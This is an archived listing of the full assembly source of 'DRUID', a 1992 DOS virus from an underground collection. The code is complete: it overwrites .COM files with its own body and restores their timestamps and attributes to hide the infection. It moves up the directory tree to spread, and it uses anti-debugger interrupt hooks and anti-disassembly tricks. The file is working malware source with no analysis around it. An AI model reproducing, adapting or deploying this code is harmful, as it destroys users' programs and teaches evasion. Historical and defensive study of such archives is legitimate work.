home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / druid.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  4.7 KB  |  139 lines

  1. fname           equ     9eh            ; pointer to filename in DTA
  2.  
  3.  
  4.  
  5. seg_a           segment byte public
  6.  
  7.         assume  cs:seg_a, ds:seg_a
  8.  
  9.  
  10.  
  11.  
  12.  
  13.                 org     100h
  14.  
  15.  
  16.  
  17. druid           proc    far
  18.  
  19. vstart          equ     $
  20.  
  21.  
  22.  
  23. start:
  24.  
  25.                 mov     ax,2EBh        ; used to baffle sourcer...
  26.  
  27.                 jmp     $-2            ;
  28.  
  29.  
  30.  
  31.                 mov     dx,offset newint ; set int1 to newint
  32.  
  33.                 mov     ax,2501h
  34.  
  35.                 int     21h
  36.  
  37.  
  38.  
  39.                 mov     al,3           ; set int3 to newint
  40.  
  41.                 int     21h
  42.  
  43.  
  44.  
  45.                 mov     dx,offset newint  ; do it again...
  46.  
  47.                 mov     ax,2501h
  48.  
  49.                 int     21h
  50.  
  51.                 mov     al,1
  52.  
  53.                 int     21h
  54.  
  55.  
  56.  
  57.                 mov     ah,47h         ; get current directory
  58.  
  59.                 xor     dl,dl          ; and save it
  60.  
  61.                 lea     si,currdir
  62.  
  63.                 int     21h
  64.  
  65.  
  66.  
  67. again:
  68.  
  69.  
  70.  
  71.                 lea     dx,fmask
  72.  
  73.                 mov     ah,4Eh         ; Find first *.COM
  74.  
  75. getfile:
  76.  
  77.                 int     21h
  78.  
  79.  
  80.  
  81.                 jnc     found_ok       ;if ok, goto found_ok
  82.  
  83.                 jmp     short bailout  ;if no more files, goto bail out
  84.  
  85.                 nop
  86.  
  87. found_ok:
  88.  
  89.                 mov     si,fname       ; load filename into ax
  90.  
  91.                 lodsw
  92.  
  93.                 cmp     ax,'OC'        ; if first 3 letters is "CO"
  94.  
  95.                                        ; as in "COMMAND.COM"
  96.  
  97.                 jne     infect         ; if not, go on
  98.  
  99.                 jmp     getnext        ; else, get another file
  100.  
  101.  
  102.  
  103.                 mov     ax,2EBh        ; used to baffle sourcer...
  104.  
  105.                 jmp     $-2
  106.  
  107. infect:
  108.  
  109.                 mov     dx,fname       ; get attribute
  110.  
  111.                 mov     ax,4300h       ; of the file found
  112.  
  113.                 int     21h
  114.  
  115.                 push    cx             ; and save it
  116.  
  117.  
  118.  
  119.                 xor     cx,cx          ; reset attributes
  120.  
  121.                 mov     ax,4301h
  122.  
  123.                 int     21h
  124.  
  125.  
  126.  
  127.                 mov     ax,2EBh        ; used to baffle sourcer...
  128.  
  129.                 jmp     $-2
  130.  
  131.  
  132.  
  133.                 mov     dx,fname       ; open file
  134.  
  135.                 mov     ax,3D02h
  136.  
  137.                 int     21h            ; DOS Services  ah=function 3Dh
  138.  
  139.                                        ;  open file, al=mode,name@ds:dx
  140.  
  141.                 jc      getnext        ; if error, skip to loc_5
  142.  
  143.  
  144.  
  145.                 xchg    ax,bx          ; get handle in bx
  146.  
  147.  
  148.  
  149.                 mov     ax,5700h       ; get time'n date
  150.  
  151.                 int     21h
  152.  
  153.                 push    dx             ; save'em
  154.  
  155.                 push    cx
  156.  
  157.  
  158.  
  159.                 mov     ah,40h         ; write virus to target
  160.  
  161.                 mov     cx,virlen      ; number of bytes to write
  162.  
  163.                 mov     dx,fname       ; pointer to file
  164.  
  165.                 int     21h
  166.  
  167.  
  168.  
  169.                 pop     cx             ; restore the date'n time
  170.  
  171.                 pop     dx
  172.  
  173.                 mov     ax,5701h
  174.  
  175.                 int     21h
  176.  
  177.  
  178.  
  179.                 mov     ah,3Eh         ; close target
  180.  
  181.                 int     21h
  182.  
  183.  
  184.  
  185.                 pop     cx             ; restore the attributes
  186.  
  187.                 mov     ax,4301h
  188.  
  189.                 mov     dx,fname
  190.  
  191.                 int     21h
  192.  
  193. getnext:
  194.  
  195.                 mov     ah,4Fh         ; get next file matching *.COM
  196.  
  197.                 jmp     short getfile
  198.  
  199. bailout:
  200.  
  201.                 mov     ax,2EBh        ; used to baffle sourcer...
  202.  
  203.                 jmp     $-2
  204.  
  205.  
  206.  
  207.                 lea     dx,dot_dot     ; "cd.."
  208.  
  209.                 mov     ah,3Bh
  210.  
  211.                 int     21h
  212.  
  213.  
  214.  
  215.                 jc      exit           ; if error, goto exit
  216.  
  217.                 jmp     short again    ; do it all over again
  218.  
  219. exit:
  220.  
  221.                 mov     ax,2EBh        ; used to baffle sourcer...
  222.  
  223.                 jmp     $-2
  224.  
  225.  
  226.  
  227.                 mov     ah,3Bh         ; change back to
  228.  
  229.                 lea     dx,return_dir  ; original directory
  230.  
  231.                 int     21h
  232.  
  233.  
  234.  
  235.                 mov     ax,4C00h       ; quit to dos with
  236.  
  237.                 int     21h            ; errorlevel 0
  238.  
  239.  
  240.  
  241. id  db      ' DRUID, coded by Morbid Angel/Line Noise -92 in Stockholm/Sweden'
  242.  
  243.  
  244.  
  245. druid           endp
  246.  
  247.  
  248.  
  249. newint          proc    far            ; replaces INT1 and INT3
  250.  
  251.                 iret                   ; with this.
  252.  
  253. newint          endp
  254.  
  255.  
  256.  
  257. fmask           db      '*.COM',0
  258.  
  259. dot_dot         db      '..',0
  260.  
  261. return_dir      db      '\'            ; the slash is used when
  262.  
  263. currdir         dw      32 dup (?)     ; returning to old dir.
  264.  
  265.  
  266.  
  267. vend            equ     $
  268.  
  269. virlen          equ     vend - vstart
  270.  
  271.  
  272.  
  273. seg_a           ends
  274.  
  275.                 end     start
  276.  
  277.